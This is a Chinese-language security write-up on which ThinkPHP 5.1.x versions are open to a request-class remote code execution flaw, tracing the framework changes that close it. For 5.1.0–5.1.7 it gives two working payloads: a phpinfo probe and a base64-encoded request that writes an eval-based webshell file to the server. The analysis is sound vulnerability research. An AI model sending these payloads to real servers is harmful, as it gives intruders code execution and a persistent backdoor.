ThinkPHP 5.1.x RCE 对比分析

简介

之前一直认为整个tp5.1都是不能用request核心类的RCE的

需要在入口文件设置error_reporting(0)

遇到一个实际的情况就是thinkphp5.1.1中可以正常执行phpinfo

遂有此文

原因

认为无法RCE的原因,无非是因为,与tp5.0不同这里存在对method的检测

需要method为get,post等等

image-20220114172038589

然后因为在高一些的版本中mehtod中的方法与tp5.0不一致

image-20220114172200175

所以在此处会抛出异常

image-20220114172238581

但其实一开始并不是这种情况

从5.1.16版本开始才是

1
$this->$method=$_POST

大概分为以下几个版本,一切的前提都是在不设置关闭报错的情况下,如果开了关闭报错,那么只有

  • 5.1.0-5.1.7 #可以RCE
  • 5.1.8-5.1.13 #不可以RCE,filter被初始化,关闭了报错这些版本也不能RCE
  • 5.1.14 #不可以RCE,__construct传入的是app对象,不是数组
  • 5.1.15-5.1.16 #不可以RCE,构造方法被修改,不在赋值method
  • 5.1.17-5.1.31 #不可以RCE,method方法改变

分析

5.1.0-5.1.7

这里就不用多说了就是必须要用构造方法,给method成员变量赋值

可以用之前的payload

phpinfo-payload

1
_method=__construct&method=get&filter%5B%5D=phpinfo&server%5BREQUEST_METHOD%5D=1&get%5B%5D=8

eval-payload

1
2
3
/?s=captcha&g=implode

path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3N1cHBwLnBocCcsJzw%2FcGhwIEBldmFsKCRfUE9TVFsiaW1nIl0pOz8%2BJyk7Pz4%3D&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=base64_decode&filter[]=\think\view\driver\Php::Display&method=GET

5.1.8-5.1.13

这里跟进一下原因

多了一个init方法

image-20220114174509359

UrlDispatch是这个类的子类

image-20220114174648093

在其init方法中,实例化了一个module

image-20220114174734712

同样module也继承自上个抽象类

继续调用module的init方法

image-20220114174901152

这里没办法,不进这个if语句,不进的话就是异常

image-20220114174938458

在app的init方法中对我们设置的filter进行了置空操作

image-20220114175032168

拿什么条件下可以RCE呢?直接不进这个条件

image-20220114175106337

但是默认配置都是true

是用来支持多模块解析的配置参数,估计也不会有人改

image-20220114175153984

5.1.14

调用构造方法的话,参数类型不对

调用其他的,重置不了method参数,其实从这里开始就不能重置method参数了

image-20220114175409061

5.1.15-5.1.16

不在设置method变量,抛出未定义下标异常

image-20220114175556446

5.1.17-5.1.31

不在调用方法,而是直接进行成员变量的赋值

image-20220114175803611

end